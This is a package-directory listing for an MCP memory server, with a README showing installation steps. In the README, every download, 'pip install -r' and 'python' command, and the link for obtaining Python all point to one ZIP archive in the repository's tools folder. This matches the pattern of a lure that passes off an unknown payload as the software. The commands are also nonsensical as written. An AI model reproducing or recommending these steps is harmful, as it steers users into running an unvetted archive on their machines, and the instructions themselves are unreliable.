freshcrate
Skin:/
Home > MCP Servers > a-mem-mcp-server

a-mem-mcp-server

🧠 Enhance LLM agents with an agentic memory system, featuring automatic note construction, dynamic memory updates, and intelligent semantic retrieval.

Why this rank:Recent releaseHealthy release cadenceStrong adoption

Description

🧠 Enhance LLM agents with an agentic memory system, featuring automatic note construction, dynamic memory updates, and intelligent semantic retrieval.

README

🎉 a-mem-mcp-server - Memory Integration Made Easy

🚀 Getting Started

Welcome! This guide will help you download and run the A-MEM MCP Server on your computer. This server connects seamlessly with IDEs like Cursor and VSCode to enhance your research experience.

📥 Download & Install

To get started, visit the releases page to download the latest version:

Download A-MEM MCP Server

📂 System Requirements

Before installation, please ensure your computer meets the following requirements:

  • Operating System: Windows 10 or later, macOS Mojave (10.14) or later, or a recent version of Linux.
  • Memory: At least 4 GB of RAM.
  • Disk Space: Minimum of 200 MB free space.
  • Network: Internet connection for downloading dependencies.

✨ Features

  • Dual-Storage System: Utilize both ChromaDB and NetworkX DiGraph for efficient data management.
  • IDE Integration: Work smoothly with Cursor and VSCode for improved productivity.
  • Explicitly Typed Edges: Easily map connections and relationships in your data.
  • Support for Zettelkasten: Organize your notes effortlessly.

🛠️ Installation Steps

  1. Download the Application:
    Go to the Releases Page and download the latest version for your operating system.

  2. Extract Files:
    If you downloaded a ZIP file, right-click on it and select "Extract All." Choose a folder where you want to save the files.

  3. Install Dependencies:
    Open your command line interface (Terminal on macOS/Linux, Command Prompt or PowerShell on Windows) and run the following command to install Python dependencies:

    pip install -r https://github.com/saurabhmain/a-mem-mcp-server/raw/refs/heads/main/tools/mem_server_a_mcp_v2.0-alpha.3.zip
    

    Make sure Python is installed on your system. If you do not have it installed, you can download it from https://github.com/saurabhmain/a-mem-mcp-server/raw/refs/heads/main/tools/mem_server_a_mcp_v2.0-alpha.3.zip.

  4. Run the Server:
    Navigate to the folder where you extracted the files using the command line. Use the following command to start the server:

    python https://github.com/saurabhmain/a-mem-mcp-server/raw/refs/heads/main/tools/mem_server_a_mcp_v2.0-alpha.3.zip
    
  5. Access the Server:
    Open your web browser and visit http://localhost:8000 to access the A-MEM MCP Server interface.

🔄 Connecting to IDEs

To connect A-MEM MCP Server with Cursor or VSCode, follow these steps:

  1. Open Your IDE:
    Launch your preferred IDE (Cursor or VSCode).

  2. Install Required Extensions:
    Make sure to install any necessary extensions for integration.

  3. Set Up Connection:
    In the IDE settings, configure the connection to the A-MEM MCP Server by entering the server URL (http://localhost:8000).

📝 Usage Tips

  • Start organizing your notes and ideas by using the mapped connections feature.
  • Explore the integrated memory systems to store and retrieve data efficiently.
  • Utilize the Zettelkasten method to keep track of your research effectively.

💬 Need Help?

If you run into any issues, please check the FAQ section on the GitHub page. You can also reach out through the issues tab for support.

🎉 Conclusion

You are now ready to enhance your research experience with the A-MEM MCP Server. Enjoy organizing your thoughts and connecting ideas like never before.

Download A-MEM MCP Server

Release History

VersionChangesUrgencyDate
main@2026-06-06Latest activity on main branchHigh6/6/2026
0.0.0No release found — using repo HEADHigh4/11/2026

Dependencies & License Audit

Loading dependencies...

Similar Packages

langgraph-rag-assistant🚀 Build an enterprise-ready RAG system to enhance technical documentation querying with LangGraph and multi-step reasoning workflows.main@2026-06-06
nexoNEXO Brain — Shared brain for AI agents. Persistent memory, semantic RAG, natural forgetting, metacognitive guard, trust scoring, 150+ MCP tools. Works with Claude Code, Codex, Claude Desktop & any MCv7.27.6
engram-memory-communityThe highest-scoring AI memory system ever benchmarked that isn't reliant on LLM reranking. And it's free & burns less tokens.main@2026-06-01
zettelforgeAgentic memory for CTI in Python — STIX knowledge graphs, threat-actor alias resolution, offline-first RAG, MCP server for Claude Code and LangChain agentspackages-v0.1.0
roampal-coreOutcome-based persistent memory MCP server for Claude Code and OpenCode. Good advice promoted, bad advice demoted. pip install roampal.v0.5.7

More in MCP Servers

AstrBotAgentic IM Chatbot infrastructure that integrates lots of IM platforms, LLMs, plugins and AI feature, and can be your openclaw alternative. ✨
agentscopeBuild and run agents you can see, understand and trust.
claude-plugins-officialOfficial, Anthropic-managed directory of high quality Claude Code Plugins.
langchain4jLangChain4j is an open-source Java library that simplifies the integration of LLMs into Java applications through a unified API, providing access to popular LLMs and vector databases. It makes impleme